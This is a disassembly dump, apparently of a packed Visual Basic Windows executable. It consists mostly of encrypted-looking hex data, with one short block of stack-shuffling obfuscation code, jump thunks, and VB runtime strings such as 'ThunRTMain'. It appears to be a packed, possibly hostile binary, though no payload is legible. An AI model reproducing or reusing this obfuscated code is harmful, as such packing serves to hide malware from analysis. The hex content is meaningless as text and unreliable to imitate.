716E23A1h, 5BF90579h, 658E2C28h dd 665F73C2h, 763B102Fh, 2B1FC4A2h, 63A8D8Dh, 0B70F0625h dd 5D8D89DFh, 89061F0Bh, 1F1DC98Dh, 0C585C706h, 0EC061F20h dd 89000059h, 1F058985h, 7D85C706h, 61F13h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 63A6C350h, 66D78B66h, 0FF774EBEh, 1F1575B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0D3D39824h, 49178EFCh, 8585295Bh, 0E9061F00h dd 0Ch, 0B1EC02F2h, 8C085FEAh, 554303D8h, 2D5995FFh, 6A061Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0BBDA97C3h, 0F65E62Ch, 8166D23Bh, 6A8940F6h, 4595FF00h dd 8B061F1Dh, 3D0FEBC0h, 0A1AEEA46h, 0EF7C3DEh, 0A1B9702Ah dd 7DE92CF7h, 60000001h, 6C4FFE5Dh, 0D76FC201h, 0EFB4CAD1h dd 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h dd 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h, 73AFC945h dd 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh, 0C45657F6h dd 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh dd 0ACE56Ch, 100h, 43h dup(0) dd 3736D1F8h, 0D3C20DA4h, 388081Ch, 0F18E9h, 97F6800h dd 0EEE90625h, 68FFFB41h, 6250A5Bh, 0FB41E4E9h, 0BC868FFh dd 0DAE90625h, 68FFFB41h, 6250C83h, 0FB41D0E9h, 0D9268FFh dd 0C6E90625h, 68FFFB41h, 6250E68h, 0FB41BCE9h, 0F0D68FFh dd 0B2E90625h, 68FFFB41h, 6250FA3h, 0FB41A8E9h, 10B368FFh dd 9EE90625h, 68FFFB41h, 6251148h, 0FB4194E9h, 121368FFh dd 8AE90625h, 68FFFB41h, 62512CAh, 0FB4180E9h, 136A68FFh dd 76E90625h, 68FFFB41h, 62514B9h, 0FB416CE9h, 157968FFh dd 62E90625h, 39FFFB41h, 0DD3E9F70h, 7EDF40D7h, 2788E9BCh dd 0CE2F9007h, 0A9D738EDh, 0B36853C4h, 56C9F152h, 0FAAF94F5h dd 9C6D3899h, 477ADF3Bh, 0F7B320A7h, 0A43C8128h, 2C850881h dd 239BCF0Bh, 0FA887C8Ch, 0A3DB095h, 0F18E1FE4h, 9D20F7B9h dd 7524D3FEh, 2965C014h, 25A48DC0h, 9EF3FBAFh, 0AD19836Bh dd 70A554F7h, 6467E5C3h, 87B24095h, 0D41E55D8h, 0DCF7AE05h dd 90DF1B3Ah, 0B5A10327h, 40h, 1A74B160h, 37237EB1h, 2576FBAFh dd 0D1FC8A1Dh, 0CAF2569Ch, 0AF0CF5h, 0DF0F4297h, 0F0F7ADD1h dd 0D730B341h, 7437A086h, 0CE6DF09Fh, 0D0F9F940h, 15B7F7ADh dd 0DFB5BAF6h, 9190A102h, 3B000000h, 850881A4h, 179A0F30h dd 0F3A4E3C2h, 3EB63F1Bh, 7BD05302h, 8E012BAAh, 0E93B7EDFh dd 38F18EE1h, 0DA3B9C6Dh, 88D942CBh, 0DD60EEA3h, 8DF69095h dd 0AFC8335Ah, 0D435E4FBh, 80E9A580h, 0CD76014Dh, 0BE27D601h dd 6CCD426Dh, 0F06B200Bh, 0E2FC4D4Eh, 0C348971Ah, 2500000Ch dd 0C122831Ch, 62C324FBh, 364C558h, 0A203643Bh, 75A30499h dd 871C1F10h, 2AFDC526h, 0CE4368C9h, 70390C6Dh, 1B4EB30Fh dd 0F7B321D3h, 0A4185D04h, 44A5069Bh, 0F647A861h, 791E7FA0h dd 0B6D0C054h, 3955D028h, 0E8BF7FD0h, 0E3BEF15Ah, 74FBAF8Dh dd 0E70B42C5h, 0C9F7AD60h, 0A3CC0827h, 78A1026Eh, 98C0327h dd 0B39DDC6Ah, 48000000h, 0B6694FA0h, 29E2C328h, 0B96E51A6h dd 1D25FF36h, 0A97CF18Eh, 71E7FE0h, 6ABB0386h, 2B5EB31Ch dd 0F18E1CC3h, 6ED76514h, 0AF0B523Bh, 0C6CE03FBh, 89D02AE5h dd 0B5F8F34Ch, 4EAD4E80h, 0ADF0D31Bh, 0A65504F7h, 683D8EF7h dd 0E0C71C9Fh, 8DEE7C2Bh, 39A2EC39h, 0CD7D5D06h, 66CF7E01h dd 14752A15h, 981388B3h, 0E2FC5820h, 0E7FA49CCh, 4900000Bh dd 0ED4EAF60h, 8EEF50C7h, 3798F9ACh, 0DE3FA077h, 0B9E748DDh dd 0C35863D4h, 66390162h, 0A9FA405h, 0AC7D48A9h, 578AEF4Bh dd 0F7B32297h, 0A44C9138h, 44A5069Bh, 0EE3FA861h, 0CEF257CEh dd 0A735D457h, 81A4F546h, 0D72C8508h, 8E184AA4h, 79DE8DF1h dd 0BE5DE0B7h, 31FACB30h, 0DDA97CD0h, 97CA1F74h, 0F18E1857h dd 0F43BC978h, 0FBAF0609h, 63BC3FEEh, 0F77A3312h, 85089DA2h dd 62A937E6h, 0F7AD2690h, 235F7E20h, 0A102354Ch, 6EF9h dd 74B1A400h, 0B37EB11Ah, 24FBAF2Ah, 0CC5766EFh, 8938C17Eh dd 9C23CF06h, 0EB8DF7ADh, 753A8BCCh, 0A352DBEAh, 0BEBEB115h dd 0C5DA102h, 49E86B22h, 397CBBh, 0A0270000h, 5F36FA4Bh dd 0F8F63DDCh, 0D7F18E17h, 24D34A72h, 0A7E73E96h, 78E0B3Eh dd 0F227FBAFh, 8B7C37B0h, 1B9E4DADh, 0ADD10EE4h, 0E100A2F7h dd 2DFCAA5h, 0C7BA1h, 0AA260000h, 83Eh, 59CCF041h, 4FA076CBh dd 0E035B86Fh, 25C447DEh, 9590E876h, 0D15D90F9h, 86FBA91Fh dd 81D6ED7h, 0E8BD1E7Fh, 0D1549C1Fh, 8A194CB5h, 2B01CE25h dd 0E3C2137Ch, 5D68C92Ah, 0E24263CCh, 3C682E2Eh, 0E931B442h dd 0FD909C3Ch, 0C32CDB7Ah, 8E6196Eh, 0C7F18EE2h, 1689B318h dd 1904188h, 9645FBB0h, 0DDF9CD1Bh, 87D659E4h, 0A7Ah, 0DB3CD5DCh dd 80E1B47Ah, 298A1D1Fh, 0D031E4C8h, 76D74C6Fh, 0C9F22548h dd 0AE92F354h, 0E3596F7h, 0CED73899h, 1B80DC3Dh, 0B32306E8h dd 0DD22C9F7h, 8E1930C2h, 0DBAB7AF1h, 1FFF3F72h, 9BD0FBA9h dd 5A3DA7C1h, 0E6F1E22h, 0BE956BBAh, 0A750F43Dh, 1B4EB766h dd 1CEDC1Bh, 1364CD7Ch, 618DC02Dh, 76F18ED3h, 218A18C7h dd 0D334F5D0h, 57DA5372h, 0F78160Fh, 0CC1D99BAh, 8795B195h dd 8E84AE40h, 0E47221F1h, 8A53487Bh, 45F4FBA9h, 0F1BA8BDCh dd 95162F90h, 8219DB12h, 909577B3h, 2B5A8DF6h, 0AE81D46Dh dd 79C82659h, 580771C8h, 75F09FCAh, 62F84DA9h, 0BFEB3ABDh dd 21000009h, 0C5268718h, 66C728FFh, 0F70D144h, 0B617782Fh dd 91BF20F5h, 9B703BFCh, 3ED1D93Ah, 0E2B77CDDh, 84052081h dd 2F62C723h, 0F7B324BFh, 0B1246910h, 7EB11A74h, 0FBA91EC0h dd 0A2F7600Fh, 35B86F51h, 82A30896h, 0EE43A809h, 1E886699h dd 9847F7B3h, 0B31E9D51h, 0F58332F7h, 71F4B590h, 2992FC29h dd 0E7BC83D4h, 0F037C564h, 1CE2442h, 0ACFD6615h, 0CB235699h dd 0CF18E18h, 0E84DAE5Dh, 2BF2F7C7h, 3FCDFDEBh, 0BF42CBDAh dd 77E0AE77h, 0A9A32F44h, 90F9A8FBh, 0A4208E6Fh, 74021334h dd 22EBBA0Bh, 0C44560C1h, 4BC7E841h, 0D6D39FC8h, 0EA084FDDh dd 0C0F7B377h, 8DC02965h, 1CE7CEDh, 0DFE6378Ch, 71E7074Eh dd 8AAEF18Eh, 0D439E813h, 7AA533EAh, 341162CBh, 94B11273h dd 2255AA13h, 0F18E71CCh, 4BCE5C0Bh, 0FB642203h, 0A9776EC8h dd 39A251FBh, 0CA4DC0E8h, 0D21A9D2Bh, 97CA3353h, 1D48836h dd 0B36DE897h, 0BFE2F842h, 8B0ED3Ch, 2F120000h, 8EB41576h dd 6B55B617h, 0CAF253B4h, 0AE91F253h, 1B6A98F9h, 15762B14h dd 0B8198CB4h, 5ABB5057h, 0FA5B2CF9h, 0E806399Eh, 0E7F7B325h dd 81A4FB40h, 15308508h, 0B701194h, 897795EAh, 3E04D4FEh dd 9645E467h, 0FA375608h, 0A101622Bh, 9AE3D5CEh, 777h dd 0BAA2200h, 55000005h, 28FD93BDh, 98A4F55Eh, 72D8205h dd 0BF6E0D90h, 3895C831h, 9DFBAF38h, 88185FEEh, 0FA0AB169h dd 9DF25B2Bh, 9D91548h, 4FFEC6A3h, 1B077AC1h, 21D0D0C4h dd 0BFCF569Eh, 55402356h, 0EA99CEB8h, 0AA0B2C81h, 7637085Ch dd 8822AA6Bh, 0C776D0B8h, 8D412192h, 0E876FFB2h, 88E9A283h dd 0D4D71E27h, 3063BC3Fh, 0C6B79EBEh, 4B36211h, 0EBA48989h dd 1362E537h, 7DAh, 3B9C753Ch, 0E041D4DAh, 89EABD7Fh, 30910428h dd 0D637ECCFh, 6952C5A8h, 0CEF253B4h, 0AE95F657h, 6E3798F9h dd 7BE03C9Dh, 0B326A648h, 3D8229F7h, 850881A4h, 4AA4D72Ch dd 8DF18E18h, 0C0EB50DEh, 8F96EA4Bh, 96396FFh, 0C2FBA91Fh dd 57C0575Dh, 0B31ECA24h, 0AF5E0DF7h, 57D0F546h, 0F7B095F6h dd 0E0CA1B74h, 1EAE4073h, 7221F7B3h, 13A140C3h, 0B31C6ABBh dd 1EC32B5Eh, 0AF14F7B3h, 0F695188Fh, 1D50B947h, 1CE2515h dd 0C0575DC2h, 4E57A811h, 2AFB5CBDh, 0A689DE61h, 228876F1h dd 59DCE2C2h, 7350Ah, 1929700h, 0A6793FA0h, 43DAE445h dd 0EABD81E2h, 92072889h, 0AD620331h, 4BAC0D82h, 0EE4FB067h dd 92F354C9h, 3D99FAB3h, 2749A5D8h, 0E78EF7B3h, 1A74B1A2h dd 1EB47EB1h, 7423FBA9h, 531CEA0Bh, 95C4DB10h, 784D9E07h dd 94E94EAFh, 0B3A58D61h, 994A38F7h, 15725B7Eh, 0A04E81EAh dd 2FF7B323h, 436CD180h, 1EAC4BCEh, 981BECB9h, 59CCEE3Fh dd 51A937D6h, 1E51BAD4h, 1D43123h, 0B9280F74h, 0C83E6886h dd 9B867F1h, 0BD38E786h, 0E2F80459h, 9F5BAA2Dh, 1000006h dd 0A5066738h, 46A7089Fh, 0EF50B164h, 96F758CFh, 719F0095h dd 7B101B1Ch, 1EF1B91Ah, 0C2575CBDh dd 64250061h, 0F42A703h, 0F7B327DFh, 0A40449F0h, 3E778281h dd 0AD3DEBBBh, 3B26748h, 911A2B80h, 0A0BF6D0Eh, 68C94263h dd 0E37F6708h, 5C63B49Ah, 17A544C7h, 7D8h, 0F7AA8300h dd 55000002h, 0C8D97FA0h, 2E27F40Dh, 0D3D2205Eh, 68F6A55Ah dd 7CAF2203h, 0F18E4172h, 25C9FC65h, 0AAF18E41h, 1A9D4CFBh dd 0CA3353D2h, 0A9489B97h, 248D3CFBh, 59B2EFD3h, 8EFED5EEh dd 0E9880BBAh, 8C99FA5Bh, 182378FBh, 57CE2283h, 0B27DCE37h dd 0B3E64FDDh, 1CF13A4h, 0C84FD005h, 0ABF84A3h, 0BB5C5E00h dd 9F4EFD91h, 8DC0E536h, 8EFC945Ah, 0E59443F1h, 89022384h dd 198EB106h, 0C45B5FB0h, 0BA6BB336h, 0B90E63CCh, 8EFC6886h dd 0CBFE67F1h, 0F18EFC23h, 0F15605B4h, 81C856C9h, 0FBAFE660h dd 51C4E637h, 6EE998C3h, 0E4DDCF7Ch, 8F1665E8h, 0F1000005h dd 95F657C8h, 3697F8AFh, 0DF40A174h, 86E748DFh, 618FF0A5h dd 6B200B0Ch, 0E81A90Ah, 0B2674CADh, 54D5F051h, 0FF3297F3h dd 0F7B328EFh, 0A4F439E0h, 30850881h, 0BC119415h, 479C1FF6h dd 0E12FB265h, 0D889102Fh, 57595273h, 99456595h, 8E188866h dd 0E99847F1h, 18A14D80h, 8736F18Eh, 0EB2847F9h, 90F051DAh dd 9AE33ADFh, 3AB4E73Ch, 9DF18E10h, 72160EEh, 0CC000000h dd 151AAh, 4FA05500h, 9130B368h, 6879E03h, 0C2219F8Bh dd 3D8C0FE2h, 4FAh, 5BBC555Ch, 6134FAh, 0A90A9D9Fh, 50B16448h dd 0F657CCEFh, 4972A5C8h, 2E1273D4h, 8EB51677h, 4E57B819h dd 9B005CBDh, 0B3298668h, 5DA249F7h, 0D6184BA0h, 0F9F18E18h dd 4E57BC4Ah, 0C0E53ABDh, 496FC447h, 1805E91Ch, 1BCAF18Eh dd 0AF94E96Ch, 28D677FAh, 23D18209h, 77FEC704h, 0ACD355B0h dd 5D50531Fh, 3E9EFFAEh, 9AE35831h, 2214h, 0C3AABF00h dd 41000000h, 0BF2F4B20h, 18F98C5h, 0B4AAACh, 20410000h dd 22A09D6h, 12EF568Bh, 0A0C61BA9h, 37BA6D4Fh, 73B20A98h dd 0CF5C938Dh, 7F2E2942h, 574FE316h, 5908FBA9h, 0F7978ED6h dd 4D825B8Eh, 0C41501D4h, 3A225F8h, 209B4A75h, 0E2F8081Ah dd 2FDC2BAEh, 91000004h, 3596F7A8h, 0D637980Fh, 7FE041D4h dd 2687E8BFh, 12F9005h, 0B80AB6Ch, 0AE6149AAh, 52C7EC4Dh dd 0F4B590F1h, 9FD23793h, 0F7B32A4Fh, 0B194D980h, 7EB11A74h dd 0FBAFC5C4h, 0AAFB6413h, 69AC0D80h, 0F7AD6588h, 10793213h dd 0A124FBBFh, 0FC939D02h, 82AC0D6Eh, 1A4DA20Bh, 0F7AD65D4h dd 0B8EB5403h, 0F7AD6536h, 0D95CEA99h, 3C18Ah, 74B13500h dd 0B47EB11Ah, 23FBA91Fh, 7CA9F174h, 12C1545Ch, 0CD2154A9h dd 2F7B31Fh, 0C3081E53h, 0D5F1137Ch, 6889DE47h, 348A5996h dd 0ED013466h, 0E2F7B415h, 0AFF68433h, 1D50B2Eh, 7955D07Fh dd 0EDE2F8CAh, 3781B6Ah, 0D7DA0000h, 0B67CDD3Eh, 131D7EDFh dd 0F2BA1B7Ch, 5659BA1Bh, 533260C1h, 0DD3ED3DCh, 80E1B47Ch dd 2283181Fh, 0C223E4C1h, 20CE0166h, 0AFF7B32Ah, 74B1C308h dd 0B5CB11Ah, 25096E21h, 919DE472h, 46FBA91Fh, 84D92E97h dd 0B31F9D51h, 0F58332F7h, 0E53AB590h, 0B31F3CB2h, 0A5EC9BF7h dd 0F7B31F49h, 9106298Eh, 11C06F0Eh, 0B5764FB0h, 4B3BEA32h dd 743C8DE2h, 9D4CC3EBh, 0A6ED7B1Ah, 1CE24FDh, 75C62FDEh dd 1576D750h, 0ACF47730h, 71A40D79h, 0FBAF3860h, 410B8635h dd 0ADE4DD3Fh, 2D8DB2Ah, 773A0000h, 0D6DC3D9Eh, 0B37DDE3Fh dd 121A7BDCh, 0F6B91A7Bh, 0F392C021h, 3D9E733Ch, 0E041D4DCh dd 82E3B87Fh, 22830421h, 0C02E61C6h, 0FF7B32Bh, 81A42368h dd 15308508h, 7DCE3394h, 0F951DFA8h, 0C6F9622Ch, 0FBAF1E6Bh dd 83BA3DECh, 0F7AD1E6Fh, 44809F41h, 0A102412Bh, 0A9D9FF0h dd 5C3D7Ch, 0B1E80000h, 60B11A74h, 0A342C558h, 3657AC15h dd 97CF851Bh, 0C53E18Ch, 0FBAF4C95h, 0C7E2C3E4h, 2F65FB30h dd 491CE696h, 12A04FF1h, 7ECF38E7h, 0D255E3BAh, 0ADA9579Bh dd 0AF0059F7h, 0F8971A8Dh, 5899B86Ah, 0BDF90937h, 0B42F45F3h dd 0ED4B8032h, 0D539C70Dh, 0A1025A9Ah, 0DDABh, 81A45600h dd 0F308508h, 1841ADE0h, 0E796F18Eh, 66E9BC82h, 8EAF18C7h dd 0FBC424B0h, 0CF04A326h, 0CF0264F0h, 0F18E191Fh, 0C45201B0h dd 50D9EC41h, 0DCAD78CDh, 1DEC387Bh, 0B491F18Eh, 143192F3h dd 5DC81093h, 2273C831h, 62018419h, 10D08DD4h, 36E5FBAFh dd 0A94578CDh, 2EF7AD2Eh, 7F161A7Fh, 6ECF5DFCh, 127B0B1Ah dd 0CCBE0CDFh, 0B51ECD01h, 0D90C5B64h, 0F1CCBE15h, 0F35C0BBAh dd 0BE836B9Eh, 0A554F1CCh, 6A55B617h, 87163AB5h, 63E6E2FCh dd 18914h, 4DC6EB00h, 0F2A58BECh, 970E3091h, 36E9D536h dd 0D64B74D5h, 0F1264775h, 97F859CEh, 3A9BFC93h, 0DE3FA075h dd 89E546C7h, 2BFDF124h, 2BD2F7B3h, 69BA4E6h, 0EE6144A5h dd 18886699h, 9847F18Eh, 8E189D51h, 0D48332F1h, 74B12273h dd 75CB11Ah, 8E181AD4h, 800EBDF1h, 0AF376839h, 1B9E4DFBh dd 0AD370EE4h, 0E100A2F7h, 245CAA5h, 887BA1h, 0A4260000h dd 30850881h, 0E0179A0Fh, 0F18E1C44h, 0E5B884D5h, 5AD3F257h dd 0FC8D98F9h, 9AF43179h, 105FFE31h, 0C170FBAFh, 6D190C60h dd 0BB75D104h, 0AB5A01CCh, 59CEF142h, 4BA5CFF0h, 38477889h dd 0C7E849AAh, 0F99D752h, 0A8DE2FCh, 0C9BBh, 8D062B00h dd 32E5CB2Ch, 0D74E70D1h, 76291576h, 168BB415h, 31E687B5h dd 0D738990Eh, 7ADB3CD3h, 1E7FE0B5h, 0C9258607h, 2DBD3164h dd 6B12F7B3h, 69BA426h, 0A86144A5h, 81A4F647h, 1F7E9F08h dd 980F5379h, 358DB69h, 5D8CB322h, 8E37C42Ah, 0B56413F1h dd 0D451A506h, 81E51BAh, 0C7FBA93Fh, 65409518h, 0C3E243A4h dd 0AB90E14Ah, 6FD473F6h, 0C649D74Ch, 0F44A4C6Dh, 1AED00A6h dd 0AB8F458Ch, 6BD40056h, 830BE316h, 1DCCF516h, 81BEDD8Fh dd 2182E3A4h, 79F8CD04h, 0BA59DCB3h, 3AE9880Bh, 0C35A62B7h dd 3B1F395Ah, 3B2979D3h, 2ADC2AADh, 36F7CE0Bh, 0D85174D5h dd 0ADA04E6Fh, 9A59DC84h, 33A890Ch, 0E5000000h, 9DA4095Eh dd 192C8104h, 0F3B80D90h, 62469B1Eh, 0E8D328ABh, 505BB033h dd 0DBE338BBh, 426CC144h, 0CDF348CBh, 508ED75Ah, 0BD55E089h dd 4, 835DE801h, 48704E8h, 0F5685C24h, 8900005Fh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 625086Bh mov ecx, [esp] add esp, 4 push esp mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, ecx mov [ebx+8], esi pop esi mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5426C5 ; --------------------------------------------------------------------------- db 87h, 6Bh, 78h dd 3E5D48F5h, 4F75B0A5h, 1667B863h, 0C5030625h, 0A153E0FFh dd 0DD8F4430h, 70F60927h, 0D3885B86h, 6DBC2FACh, 0E70A3B79h dd 95821ACCh, 9DE2075Eh, 1A854FADh, 0F75F350Bh, 0CB3D2D3Dh dd 5E8E52CFh, 5260476h, 0C12A7A6Ah, 0AFD845F5h, 0C17F60h dd 48941108h, 592C1C99h, 8D8D79DCh, 62517B6h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4EC35141h, 0E2CD433Bh dd 199D29D6h, 89061F2Fh, 1F0B5D8Dh, 0F1B58B06h, 0C7061F0Ah dd 1F20C585h, 6FC406h, 0D4B86600h, 7D85C70Bh, 61F13h, 0E9000000h dd 6, 4AA1A217h, 0B5FF1E6Dh, 61F0865h, 5995FFF8h, 0F061F2Dh dd 286h, 6A1CB400h, 4595FF00h, 8B061F1Dh, 71CEBC0h, 642B7AE8h dd 685121ADh, 0A41A8445h, 402D8795h, 0A3D78291h, 33AD8EB2h dd 8DD6F9D4h, 25189A8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0AE95Fh, 33390000h, 8CB8AB20h dd 2B97C9E8h, 7FC08166h, 5D8D89B9h, 6A061F0Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 99DAC357h, 16F506C7h, 85C781B2h, 61F20C5h, 69ECh, 0EEC08166h dd 7D85C74Eh, 61F13h, 8B000000h, 1F10BD85h, 25B5FF06h dd 6A061F30h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 3AA8C356h, 1C084F94h, 2D5995FFh dd 890F061Fh, 3, 56DFB70Fh, 1355B589h, 6A5E061Fh, 4595FF00h dd 8B061F1Dh, 166DEBC0h, 0DDFEBFE6h, 6A1C695h, 9091DEBFh dd 1AC7EDB2h, 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 0B1ED0C7Dh dd 85CE3219h, 0FD8CFBF3h, 918B5298h, 9E6B7DBBh, 9E302A4Eh dd 632BB765h, 6725089h, 0BD957ACAh, 1850CF4Eh, 0F63F8CFDh dd 282F08F8h, 0B8322B28h, 0A15E2DADh, 0AE2E2EAEh, 4BC085DDh dd 2D95EA47h, 35A6F516h, 0ADDAD97Ch, 0BEBA6C47h, 15CE9h dd 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h dd 656B6361h, 78652E64h, 65h, 3Ah dup(0) db 0 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 0D3h, 0B0h, 25h dd 1DB5E91Ah, 0E6680000h, 0E906251Ch, 0FFFA6306h, 251DDF68h dd 62FCE906h, 1B68FFFAh, 0E906251Fh, 0FFFA62F2h, 25200968h dd 62E8E906h, 5868FFFAh, 0E9062520h, 0FFFA62DEh, 25211968h dd 62D4E906h, 6C68FFFAh, 0E9062521h, 0FFFA62CAh, 2521B368h dd 62C0E906h, 0F968FFFAh, 0E9062528h, 0FFFA62B6h, 25297A68h dd 62ACE906h, 3E68FFFAh, 0E906252Ah, 0FFFA62A2h, 252B0D68h dd 6298E906h, 6E68FFFAh, 0E906252Bh, 0FFFA628Eh, 252C3568h dd 6284E906h, 0FA68FFFAh, 0E906252Ch, 0FFFA627Ah, 252DB468h dd 6270E906h, 0F568FFFAh, 0E9062534h, 0FFFA6266h, 2535E768h dd 625CE906h, 0AC68FFFAh, 0E9062536h, 0FFFA6252h, 0F36A9715h dd 1289762Fh, 2EA55C4Eh, 49C03F6Ah, 69E02185h, 4C5A631Dh dd 397A3EB5h, 0D9B5FD6h, 0EEB97DF4h, 58D19A11h, 0AE86D4ACh dd 0BC2F6719h, 8D1B6245h, 8D49296Fh, 9E26DCF1h, 0DE82B564h dd 0F2847B2Eh, 6014A64Ah, 0DA41B847h, 2EDA635Dh, 1FD31D56h dd 0C19935E9h, 541FD31Dh, 0D783FCA0h, 15F025C2h, 2DA860Fh dd 9525F225h, 0E4BC68E1h, 7725F224h, 0B2669FC3h, 2C04B039h dd 0BF25F225h, 0B555E70Bh, 25F225E1h, 4216C847h, 0B56B350Ch dd 7FA3D351h, 752290E9h, 0B9D5D09h, 3BE764F6h, 25F20F63h dd 7A9E42F6h, 59E1h, 467C6E00h, 0F0B924B7h, 0C4E8E90Fh dd 0DDBB933Fh, 9A4E1FD2h, 0B87FD2F6h, 50265CD5h, 0C8E6E486h dd 0EE77F014h, 63877A2Eh, 0EFED22C7h, 891BCF15h, 0F22E15E9h dd 0E2FC7B25h, 6941ED76h, 0BC25F22Dh, 0F22D3810h, 0DE17CB25h dd 2970062Ah, 0E40975C8h, 5C808F24h, 108C3h, 62455000h dd 4F570B9Dh, 3B6C20B2h, 5CD79042h, 24C86D2Ah, 36C9DE92h dd 66B987BDh, 0FB77F9BDh, 10B060D7h, 731FD35Fh, 780AF7B3h dd 0ABFCACD0h, 8E19DD54h, 0D962DF71h, 0D35E552Dh, 1034E81Fh dd 9E177ABDh, 47DFDF15h, 958A175Bh, 5E5CD571h, 28B115F0h dd 0F25DA47Ch, 17EAC025h, 0F0A4DD85h, 66DF93CCh, 6AFC03A6h dd 0C0279EC2h, 5EA10677h, 5D9541BAh, 0B01C13CEh, 2448B7F0h dd 0FEBE37EBh, 880AD3ACh, 0BF3D3D08h, 0BDE1891Bh, 0DF228444h dd 5931DD66h, 0EC2C1421h, 21DFB763h, 0BE722C14h, 0BB7FF61Ah dd 6AAF16EBh, 0DBFA680Ah, 1A8E2645h, 4D5F0000h, 2C793DB4h dd 12985CD3h, 0F5B478EFh, 0D7CF930Ah, 0AD67B32Ah, 8C03FEA8h dd 0AD24EBC8h, 0CB42BFE9h, 0E85FA007h, 22FAA61Fh, 0B519AE86h dd 467C0A7Dh, 0ADF910F7h, 0F41AC254h, 0F0A08452h, 722246B9h dd 0C956CD34h, 3E629F09h, 6511198Eh, 1FD2BE8Dh, 51C86C20h dd 95A2DAh, 8136DB87h, 2FE315F0h, 0C229FD9Dh, 108F25F2h dd 5C2C6DCEh, 0ABE10974h, 7C9EF620h, 0BD567A76h, 0C8h dd 0CC337434h, 0E01F863Ah, 0DE02A64Eh, 0EEBC7C7Bh, 55578113h dd 0BCAFE17Ah, 8430A94Dh, 1FD321ACh, 0B7678B3Fh, 0C97D0FF0h dd 159224DDh, 8B64EFDFh, 892A1D36h, 5BBCE286h, 12C1178Bh dd 7717B3D7h, 0A31FD313h, 0C084FB04h, 2F8618E7h, 600C8508h dd 15F023E7h, 0EA51C87Ch, 23CF484Dh, 1C138FC0h, 8040B96Dh dd 0D764DB26h, 4D718E17h, 91F8099Dh, 0FA685956h, 95FE1DB3h dd 66000019h, 8044BB46h, 9F63DA25h, 0BB7FF60Bh, 0D69A11EEh dd 6EBA31D0h, 0CF5B1B4h, 2DE2D195h, 4BB6F2B6h, 689710D4h dd 3AF28F1h, 19AE852Bh, 451386BEh, 6529A061h, 643CE842h dd 0F71FD3A1h, 9B289F43h, 0C32CFDBh, 1B70B9F0h, 5ABDE1B8h dd 0B9D6245h, 882D5057h, 525C4A8Ch, 13A55C4Eh, 0AA23C76Bh dd 0AE40BFEAh, 0DE6BE206h, 4E748B1Eh, 0F7955C91h, 8EE10576h dd 0BF6BE4A9h, 15F051B6h, 0C8FE772Bh, 0B6EB130Fh, 2B1B471h dd 0D5219741h, 0DB7B0D31h, 25F1A907h, 68F0EE6Dh, 7002FDA8h dd 4B0EA4C8h, 62097541h, 0FAh, 748D19D9h, 467CED50h, 4C679C93h dd 3E486C87h, 6021163Ah, 9F18BC53h, 1135CADFh, 8B33EC98h dd 3FC815EFh, 3AD62B7Fh, 25F1CB62h, 0CB3109B5h, 10C425F1h dd 0EC7F23D7h, 6A342A4Ch, 197CBB6Ah, 676FF4A0h, 0A6DCF0A9h dd 20ADAD09h, 0EBE3A2A3h, 0A63EA68Fh, 0F1A5DE02h, 0A5ACE25Fh dd 63AE2527h, 0E057AACEh, 258834ADh, 92F6CEB1h, 0FCD48009h dd 8F06CEF0h, 0F0673FDBh, 46FA06CEh, 0BC35E922h, 0DD54ABFCh dd 0A718E19h, 10D33B9Bh, 596D8C22h, 2A000018h, 44087F82h dd 63279E61h, 7F43BA47h, 9A5ED52Ah, 327EF50Ch, 0D0317578h dd 0F11E9559h, 0FF2B67Ah, 2CD3D498h, 0C773ECB5h, 19AE82EFh dd 7CD74A82h, 8C7533F3h, 0D3A218F0h, 0D3F7AB1Fh, 0E97B8423h dd 77F0A592h, 0F087C2CBh, 2AE3715h, 25F2C72Ah, 55AAFDBDh dd 0D3771BC3h, 9B0FCF5Ch, 8620D466h, 9D41E97Bh, 467C1679h dd 3E34F17h, 0FB04A594h, 6D1DC169h, 97A1C53Ah, 0C7CA6DE1h dd 18E9A24Eh, 0CA7E15F0h, 13D19737h, 0D2A9D19h, 0DE630F88h dd 8BA33846h, 49EE45D7h, 0EB8F7238h, 8F7B272h, 22E26BE4h dd 40E87A85h, 906A141Ah, 0F81C8F1Eh, 5BECF95Ch, 0BFE6A6A9h dd 6206AE40h, 0A1D760E9h, 0A63F9CBBh, 522AC6F3h, 0E5B95BEEh dd 4A5D0D31h, 0BCC83E33h, 4FF397F1h, 1D8B4BD8h, 9710C0E4h dd 0AD5A0168h, 790F6FA0h, 176B5Ah, 91703C00h, 0B04F561Ah dd 0CC357539h, 0E7189155h, 7FAAC70h, 838A4490h, 0A367DE23h dd 0C488FF10h, 0E2A61DE4h, 0FAC33AC5h, 81FDD581h, 589019AEh dd 58467CE5h, 6E941C63h, 0ED307096h, 6AED1038h, 0EE119646h dd 0D727CA87h, 0D6F58B09h, 171Ch, 0CB42BFEDh, 0EA619E07h dd 67D8426h, 21986742h, 41B8495Dh, 74323BF5h, 6152168Dh dd 357337AEh, 169155CCh, 30A972E9h, 0AE81AC84h, 94073F19h dd 249D6245h, 2EC04F64h, 31D52C7Ah, 